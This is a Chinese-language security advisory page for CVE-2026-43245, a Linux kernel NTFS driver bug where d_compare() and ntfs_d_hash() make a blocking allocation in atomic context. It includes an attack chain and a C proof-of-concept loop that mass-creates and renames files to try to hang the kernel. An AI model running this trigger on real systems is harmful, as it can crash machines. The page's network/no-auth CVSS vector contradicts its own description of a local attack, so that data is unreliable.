IPBUF安全漏洞报告
English
CVE-2026-43245 CVSS 7.5 高危

CVE-2026-43245 Linux内核NTFS驱动拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43245
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNTFSDoSCVE-2026-43245Kernel PanicRace Condition

漏洞概述

Linux内核中的NTFS文件系统驱动存在一个安全漏洞。问题在于`d_compare()`函数以及`ntfs_d_hash()`函数中使用了`__getname()`进行内存分配,而在这些上下文中不应执行阻塞操作。这可能导致内核死锁或拒绝服务。该补丁通过将内存分配方式替换为`kmalloc(PATH_MAX, GFP_NOWAIT)`来修复此问题,确保操作不会阻塞。

技术细节

该漏洞源于Linux内核NTFS驱动程序在VFS(虚拟文件系统)层回调函数中的错误内存分配行为。具体而言,`d_compare()` 和 `ntfs_d_hash()` 这些回调函数可能在持有自旋锁或处于不可睡眠上下文(如RCU读锁)中被内核调用。原代码使用了`__getname()`,该函数最终会调用带有`GFP_KERNEL`标志的内存分配函数,这允许进程进入睡眠状态等待内存。如果在持有锁或原子操作期间发生睡眠,将导致内核死锁、系统挂起或崩溃。攻击者可以通过构造特定的文件系统操作或目录遍历请求,触发该路径下的内存分配压力,从而诱发阻塞,导致本地拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获得访问Linux系统上挂载的NTFS文件系统的权限。
STEP 2
步骤2
攻击者在NTFS分区上执行大量的文件创建、目录遍历或文件重命名操作。
STEP 3
步骤3
内核在处理这些操作时调用NTFS的`d_compare()`函数进行目录项比较。
STEP 4
步骤4
`d_compare()`尝试使用`__getname()`分配内存,如果内存不足,该函数进入阻塞状态。
STEP 5
步骤5
由于`d_compare()`在原子上下文中被调用,阻塞导致内核死锁或系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> /* * PoC for CVE-2026-43245: NTFS d_compare() blocking issue * This script attempts to trigger the vulnerability by creating * and renaming files on a mounted NTFS filesystem, forcing * the kernel to call d_compare() under potential memory pressure. */ int main() { const char* base_dir = "/mnt/ntfs_test"; // Ensure this is mounted NTFS char old_name[256]; char new_name[256]; mkdir(base_dir, 0777); printf("Starting PoC for CVE-2026-43245...\n"); for (int i = 0; i < 5000; i++) { snprintf(old_name, sizeof(old_name), "%s/file_%d.dat", base_dir, i); snprintf(new_name, sizeof(new_name), "%s/renamed_%d.dat", base_dir, i); FILE *f = fopen(old_name, "w"); if (f) { fputs("data", f); fclose(f); // Rename operation triggers d_compare lookup if (rename(old_name, new_name) != 0) { perror("Rename failed"); } } } printf("PoC execution finished. Check system stability.\n"); return 0; }

影响范围

Linux Kernel < 6.x (具体版本请参考Git提交记录 142c444a395f4d26055c8a4473e228bb86283f1e)

防御指南

临时缓解措施
如果无法立即升级内核,建议暂时禁用NTFS内核模块,或避免在关键系统上使用NTFS文件系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表